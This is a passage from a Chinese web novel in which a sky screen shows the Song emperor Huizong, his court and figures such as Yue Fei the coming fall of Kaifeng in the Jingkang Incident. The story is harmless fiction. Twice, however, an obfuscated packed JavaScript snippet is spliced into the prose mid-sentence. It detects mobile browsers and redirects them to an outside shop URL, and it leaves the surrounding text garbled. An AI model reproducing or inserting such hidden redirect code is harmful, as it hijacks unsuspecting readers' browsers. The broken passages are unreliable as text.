《天幕直播亡国,公主被迫登基》 3. 003 【第三章:如何是好】 众人一想也是,那还是不曾发生之事,太子不知,也属正常。 于是众人又下意识扭头,看向皇上,赵佛保也顺着众人目光看向赵佶。 赵桓松了一口气,低头垂眸,不动声色往后退了两步,躲在了几位皇子中间。 赵佶仰面看着天幕,神色如常,可下颚紧绷,嘴角紧紧下压,再没了方才观看天祚帝被俘时的轻松愉悦。 赵佛保心中不解。 大宋皇宫富丽堂皇,宫中生活豪华奢侈,众人吃穿用度皆是上品。 她也曾偷偷溜出皇宫,去汴京城的集市上逛了一番,街道纵横,店铺林立,生意兴隆,她被大宋的繁华昌盛深深震撼。 她以为是上天可怜她在末世枯燥苟活了十八年,这才将她送到了一个盛世,让她做个正常人,好好活一回。 可这怎么听起来,这天下即将大乱呢。 不要吧! 她上辈子砍丧尸砍得够够的了,这辈子只想吃遍天下美食,看遍天下景色,和活生生热乎乎的兄弟姐妹们一起开开心心地玩呢。 数百道目光,如芒在背。赵佶仰头仰得脖子都酸了,也没有把头低下来,他不敢和众人对视。 天幕方才那几句话,让他帝王颜面尽失。 什么叫荒芜朝政,重用奸臣?他是天子,金尊玉贵,当享天下之奉。若是他事事亲力亲为,那朝廷养那些臣子又有何用。 他为此恼怒,但更多的,是一种来自内心深处的恐惧。 他直觉,天幕接下来要说的东西,一定会彻底毁掉他的名声。 他不想听,想捂住在场所有人的耳朵,更想让禁军万箭齐发,把天幕射下来。 可他不敢。 这样一个神鬼莫辨的东西,突然出现在这里,即便不是祥瑞,也不是他随意能够射杀得了的,说不定还要招致什么天罚。 可什么都不做,就让它在这继续说下去吗? 也不知这天底下,到底有多少人能够看得到这天幕。 短短一瞬间,宋徽宗心中百转千回,也不待他想明白自己到底该如何对待这天幕,天幕上画面又变了。 这回展示的,很明显,是汴京的街道,人头攒动,热闹非凡。 紧接着,视线顺着街道一路向前,到了一座府邸门口,牌匾上写着“太子府”,一名内侍手持圣旨,跨门而入,一位真人演绎的赵桓跪地接旨…… 随着画面的播放,那道背景女声也响起。 【金兵压境,父亲甩锅,赵桓面对的,是一个大罗神仙在世也难救的巨大烂摊子。】 【和历史上那些雄心壮志的储君不同,赵桓对皇位是极度抗拒的,甚至是恐惧的。】 【当接到传位诏书时,他悲痛欲绝,嚎啕大哭,直至晕厥。】 金国上京,金太宗,完颜兀术等人看到这等滑稽画面,全都哈哈大笑,完颜粘罕甚至笑得蹲到地上,站都站不起来。 沙漠上逃跑的天祚帝耶律延禧,抽空摇了摇头,一脸嫌弃:“废物,没有我们辽国男儿的一丝血性。” 宋徽宗极其不悦地瞪向赵桓,冷声斥了一句:“没用的东西。” 混在人群中的赵桓以手遮面,弯腰弓背,试图把自己藏起来。 可他身边的几位皇子,却避如蛇蝎一般,忙不迭退出去好几步。 赵串珠挎着赵佛保的胳膊,满眼震惊,小小声感叹:“没想到大皇兄竟然不想当皇上!” 赵佛保:“是我,我也不想当。” 赵串珠越发震惊:“为何?” 赵佛保:“累得慌。” 看着小姑娘水汪汪的大眼睛,赵佛保低声问:“珠儿想当吗?如果珠儿想当,我帮你。” 赵串珠惊得眼睛溜圆,连忙摆手:“不不不,我可不想。”觊觎皇位,那可是掉脑袋的大罪。 赵香云见赵佛保又在胡说八道,轻轻捏了捏她的手,“保儿,别瞎说,好好看天幕。” 赵佛保乖巧点头,不再说话。她这个阿姐,什么都好,就是胆子太小。 天幕上,赵桓昏迷不醒,可宋徽宗还是没有放过他,直接让人给他换上龙袍,抬上龙椅,赵桓就在昏迷中登基为帝。 这荒唐的一幕播完,那道声音再次响起。 【强行传位于赵桓之后,升为太上皇的宋徽宗将烂摊子一丢,急匆匆连夜起驾南巡。】 【他带上了皇后,乔贵妃等几个宠妃,还有数个宠爱的帝姬和皇子。】 【蔡京作为一人之下万人之上的权相,带着全家老小,跟着宋徽宗一同向南逃。 【史无前例以宦官身份封王的童贯,殿前都指挥使高俅,二人各自率领数千人马,为宋徽宗保驾护航。】 【除此之外,为宋徽宗搜罗花石纲的朱勔,还有宇文粹中等其他心腹大臣,也都伴驾而逃。】 女子声音方落,天幕上画面再变,一个皇帝打扮的人,领着宫妃大臣,携带金银珠宝,仓皇逃窜…… 众人的眼珠子不受控制,齐刷刷转向赵佶。 碍于天威,众人的视线中不敢带有除了恭敬以外的任何情绪,可赵佶还是从中看出了鄙视,他紧咬后牙槽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330613|199157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才死死吞下让人把天幕射下来的命令。 【宋徽宗这一逃,就是一年多,直到靖康元年年底,才从镇江府返驾回京。当然,他并非自愿,而是被宋钦宗派人接回的。】 【宋徽宗不想当亡国之君,不想承担作为皇帝的责任,在金国铁蹄逼近汴京时,匆匆传位于宋钦宗。】 【可他退了位,又不甘心失去帝王的特权,带着众多随从在镇江府另立小朝廷,与宋钦宗分庭抗礼,更加过分的,他曾数次截留各地送往京城的勤王物资和军队。】 【父子二人明争暗斗,赵桓忍无可忍,派人将太上皇宋徽宗接回了汴京,这才有了后来的“二帝”北狩。】 【俗话说,有其父必有其子,当初宋徽宗逃离汴京短短半月,金军便抵达汴京城外,赵桓第一反应也是逃跑,后被大臣阻止,这才勉强留下来稳定军心。】 【可赵桓缺乏主见,优柔寡断,上位之后,面对金国的入侵,他拿不定主意,主和派强硬,他就想议和,主战派声音大,他就又想打,战战和和,反复摇摆。】 【在短短两年内,金军两度南下,围攻汴京,大宋赔款割地,屈辱求和。】 【金国狼子野心,终于在靖康二年正月,彻底攻破汴京。】 【金军俘虏了包括宋徽宗,宋钦宗在内的赵氏皇室,后宫嫔妃,皇子帝姬三千余人,另有宗室贵戚,朝廷大臣,医官,杂耍,各色工匠,共约一万八千余人,分批押解北上。】 【金军铁蹄之下,山河破碎,哀鸿遍野,百姓饥寒交迫,苦不堪言……】 随着女子沉痛的声音,天幕上的画面又变。 茫茫雪原,天寒地冻,不管是昔日金尊玉贵的皇室贵族,还是锦衣玉食的文武百官,又或是寻常工匠,全都身着单薄素衣,顶着风雪艰难行走,时不时还要挨上金人几鞭子…… 【这就是靖康之变,又称靖康之耻。】 天幕上那屈辱的一幕幕,仿佛一只大手,紧紧扼住了大宋子民的喉咙,谁也发不出声。 直到一名金军笑得狰狞可怖,将鞭子重重甩向镜头,众人才仿佛受了惊吓一般,猛地往后一躲。 视频结束,大宋天空下,万籁俱寂。 不知过了多久,一道孩童哭声响起:“母妃,我怕!” 沉默被打破,霎时间,整个皇宫哭天抢地,哀嚎阵阵,已经有人边哭边往回跑,想要去收拾行李。 集英殿外的文武百官捶胸顿足,怒斥金国野蛮凶残,不知廉耻。 大宋治下无数个州县的百姓惊恐万状,六神无主:“天爷啊,这可如何是好啊?” 4.004 【第四章:千古一帝】 赵香云面色如纸,双手直颤,“我们是不是,也被抓走了?” 赵串珠双手按住心口,眼泪都掉了下来:“阿姐,保儿姐,咱们逃吧。” 赵香云觉得这个法子可行,一把拉起赵串珠的手,用力点头:“好,咱们逃,今晚就逃。” 随即又想起冷宫里的崔庶人,她焦急跺脚:“娘怎么办?” 赵串珠再也压不住内心惊惧,崩溃哭出声:“是啊,娘还在冷宫里啊。” 赵佛保一双丹凤眼微眯,目光发冷。 她张开双臂,将自家姐妹拥入怀里,轻轻拍着她们的后背,温声安慰:“不怕,我在呢。” 她生在末世,见过太多血腥凶残的场面,方才天幕上播放的那一幕,于她而言,并无太过感触。 可自家姐姐和妹妹被吓得这般花容失色,失魂落魄,这就不能忍了。 数日前,她一睁眼,看到的就是赵香云和赵串珠两张担忧的小脸,见她醒来,二人一左一右紧紧抱着她,哭得撕心裂肺,说她终于活过来了。 那之后一连数日,姐妹两个寸步不离守在她床边,给她喂药喂饭,为她擦手擦脸,盯着她休息,像照顾婴儿一般,无微不至地照顾她。 她从来不曾有过亲人,也从不曾感受过这种温情,那种感觉十分新奇,也十分陌生,可她很是欢喜。 从那时起,她就决定,只要她赵佛保活着一天,就要好好护着云儿姐姐和珠儿妹妹,一定不会让她们受到一丁点儿委屈。 如此,算是她对两个小姑娘对她这份情感的回报。 也算是给那场风寒中失了性命的可怜小姑娘一个交代。 再后来,见她们两个时常挂念冷宫里的崔庶人,病好之后她便自告奋勇,去冷宫里探望了一回,当然,第一回的食盒是云儿姐姐准备的。 她本来只是想着,替自家姐妹跑个腿,好让她们安心。 没想到了冷宫,崔庶人竟然满眼心疼地抱住她,对她嘘寒问暖,还为她生病时无法在一旁照顾而自责落泪。 崔庶人是那样温柔,那样慈爱,她当时心中只有一个念头,原来,这就是“母亲”。 等她从冷宫出来,她的保护清单上多了两个人。 是崔庶人,还有站在崔庶人身边,一直眼眶通红看着她的林嬷嬷。 如果天幕所说是真,那靖康之变之后,她要保护的这些人,岂不是全都被金军抓走,备受欺辱? 这些个完颜氏,当真该死! 若是金军杀来,她定杀得他们片甲不留。 周围哭声震天,骂声连连。 赵香云和赵串珠内心惊惧不安,索性窝在赵佛保怀里,也跟着放声大哭。 赵佛保觉得自己耳朵都要聋了,可她没有手去捂耳朵,两只手都占着呢,拍完赵香云,拍赵串珠,一刻不得闲。 她看向皇上赵佶,希望他能站出来,主持大局。 至少这个时候,先得安抚众人,再行商议应对之策。 可赵佶却满眼惊恐,嘴里不住地重复着一句话:“这可如何是好,这可如何是好……” 赵佛保看向之前给赵佶进献石头时极尽谄媚的蔡京,就见他双腿直抖,一脸的惊惶不安,要不是靠他儿子扶着,怕是要直接坐在地上。 赵佛保又看向先前在两名禁军面前不怒自威,据说手握天下兵马的童贯,就见他面如土色,竟然扑通一声跪倒在赵佶面前:“陛下,趁现在还来得及,请陛下早做决定,向南迁都。” 一石激起千层浪,童贯此话一出,蔡京,王黼,梁师成等人立马跟着下跪磕头:“请陛下下旨迁都。” 惊慌失措的众人,又那没有主意的,也跟着跪地附和。 霎时间,夜色中回响着两个字:“迁都~,迁都~” 宋徽宗像是抓到了最后的稻草,连连点头:“迁都,对,迁都,明儿就迁,不不不,现在就迁,快,众位爱卿,随朕到紫宸殿去,细细商议迁都一事。” 赵佛保冷笑一声,在心里暗暗骂了一句窝囊废。 不过她赵佶做出如此反应,丝毫不意外,逃跑皇帝带着逃跑大臣,除了逃跑,还能想出什么应对之策。 她拇指和食指习惯性摩挲了一下,眼中杀意翻腾。 既然她来了,定然不会让这一切再发生。 看来,她得往金国走一趟了。 不过,去金国之前,她得做点什么,阻止这帮胆小鬼逃跑,免得乱了军心民心。 --- 金国,上京。 看完天幕,金太宗志得意满,朗声大笑:“这大宋,果然是被咱们大金给攻下了。” 四太子完颜兀术双眼透着嗜血的兴奋:“陛下,臣请旨,即刻发兵南下,攻打大宋!” 二太子完颜斡离不却提出不同意见:“兀术,天祚帝尚且在逃,辽国还未彻底灭掉,我们此时出兵大宋,若是辽国死灰复燃,那我大金岂不是要腹背受敌。” 完颜兀术反驳:“既然我们能看到这天幕,想必大宋之人也能看到,既如此,他们定会提前做出防范,我们需得抢占先机。” 完颜斡离不笑了笑,不以为然:“按照这天幕方才所说,大宋已是囊中之物,何必急于一时,还是从长计议方才稳妥。” 完颜兀术冷嗤一声:“兵贵神速,这个道理二太子可是不懂?” 金太宗见两人争执不下,便看向其他几人:“你们都说说,是此刻发兵,还是待彻底灭了辽国之后再做图谋?” 大太子完颜斡本和三太子完颜讹里朵对视一眼,二人齐齐行礼:“臣听凭陛下定夺。” 金太宗又看向完颜粘罕:“粘罕,你说。” 完颜粘罕语气难掩激动:“回陛下,臣同意兀术的看法。” “若是没有这天幕,我等自然可以按部就班慢慢来,可如今,天幕已提前把我们要做的事给透漏了,日后攻宋,必定困难重重,不如趁着现在,大宋尚且来不及做出完全准备,我们派兵突袭,方能有胜的把握。” 金太宗听完,沉吟片刻,猛地一拍桌子:“好,那就依兀术之意,即刻备战。” --- 一望无际的沙漠上。 辽天祚帝耶律延禧停下脚步,双手叉腰,面露喜色:“完颜家那帮反骨仔,怕是此刻就要南下攻打大宋。” 早已累得气喘吁吁的随从们闻言跟着停下,各个喜上眉梢:“如此甚好,我等终于能喘一口气了。” 耶律延禧笑了一阵,又满脸担忧地朝南拜了拜:“赵佶啊赵佶,老天给你指了路,这回你可千万要硬气起来啊!” 将士们见状,忙跟着朝南躬身作揖:“大宋陛下,求你了,爷们一回吧!” --- 因被诬陷而获罪,被贬至巴州的宗泽,看完天幕之后,悲怒交加,抽刀砍断了门前廊柱。 他怒吼:“回京,我要向陛下请战。” 宗颖小心接过宗泽手中的刀:“父亲,您如今只是从六品的通判,又是获罪被贬至此,无诏不得擅自离任,咱们还是静观其变为好。” 宗稷也劝:“是啊叔父,咱们还是等朝廷诏命吧,若是陛下决议提前备战,定会召您回京的。” 宗泽只觉心口一阵气血翻涌,猛地一口鲜血喷了出来,随后整个人向后仰倒。 “父亲!” “叔父!” 宗颖和宗稷大惊失色,齐齐伸手搀扶,二人架着宗泽一边往屋内走,一边大喊:“大夫,快去请大夫!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333938|199157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > -- 河北西路,赵州军营。 将士们站在营中,望着天空,各个双拳紧握,牙槽紧咬,满眼愤恨。 韩世忠站在点将台上,高声下令:“即日起,整饬兵马,勤加操练,以备金军来袭!” 数万名士兵,齐声应和,喊声震天:“得令!” --- 京口,乐营。 一群年轻女子看完天幕播放的靖康之耻的视频,都忍不住面露哀容,有那胆小心软的,忍不住小声啜泣起来。 管事妈妈挥了挥帕子,往回赶人,“好了,热闹也看了,天塌下来有汴京城里的大人物们顶着呢,赶紧都回屋去服侍客人去,还有你,别哭了,乐呵点,免得客人看了晦气。” 女子们三三两两结伴回屋,一名女子小声嘟囔:“没喝醉的都跑去前院看热闹去了,剩下的都醉成了一滩烂泥,谁还会挑晦气,再说了,这时候,哪个客人还会没心没肺回来找乐子。” 说完这话,她又深深叹了口气。 她们这群人,因为这样那样的缘由沦为营妓,早就身不由己,还不知能活到哪一日,确如妈妈说的,这些家国大事,都不是她们这等升斗小民能操心得了的。 很快,女子们走光。 唯独留下一人,那名女子静默良久过后,从墙角抄起一根晾衣竿,一个起势过后,舞了起来。 管事妈妈闻声又这番回来,见状一甩帕子:“你这是干什么呢,快回屋去。” 那女子充耳不闻,视而不见,把一根竹竿舞得虎虎生风。 管事妈妈叉腰大喊:“红玉,梁红玉!” 梁红玉一个手势,竹竿直指管事妈妈鼻尖:“妈妈,我要赎身!” 管事妈妈好奇:“在这待的好好的,你赎身作甚?” 梁红玉英姿飒爽,眼神锐利:“我要去杀敌!” 管事妈妈苦口婆心:“我的姑奶奶哎,我知道你是将门之后,可你如今是官妓,不是你说想赎身就能赎身的。” 梁红玉利落收棍,抬手一扬,那跟竹竿直直砸中院中角落储水的水缸上。 水缸应声而破,水哗啦啦流了一地。 梁红玉转身就走:“我不管,妈妈认识那么多达官贵人,妈妈来想办法。” 管事妈妈吓了一跳,在她身后跳脚:“即便我有门路,银子呢?你哪里来的银子?” 梁红玉:“先欠着,回头我杀敌立功,得了赏银,连本带利还你。” 管事妈妈气得翻白眼,指着梁红玉大骂:“你个狼心狗肺的死丫头,亏得我待你另眼相看,处处照拂于你,你就这般报答我!” 梁红玉头也不回,只留给她一道背影。 --- 汤阴县。 静静看完天幕播放的“靖康之耻”,岳飞一抬手,手中长枪稳稳落于枪架之上。 他转身往屋里走:“王贵,牛皋,回去收拾行李,我们即刻启程。” 二人对视一眼,一头雾水:“大哥,咱们去哪儿?” 岳飞脚步匆匆,头也不回:“从军,抗金!” 二人正有此意,齐齐拍掌:“好,从军,抗金!” 说完,二人转身,步履匆匆往外走,还不等走到院门口,就听岳云稚嫩的声音响起:“爹爹,贵叔,牛叔,快看,神仙又在动了。” 三人一同转身,看向看空,就见那个箭头挪到画面中间,变成了一只手,随即定格了许久的天幕再一次动了起来。 那道女声再次响起:【不过好在,宋徽宗虽懦弱昏庸,却为大宋生了一位千古之帝。】 --- 汴京,皇宫。 众人听到天幕声音,齐刷刷抬头,眼中迸发出强烈的希冀:“千古一帝?”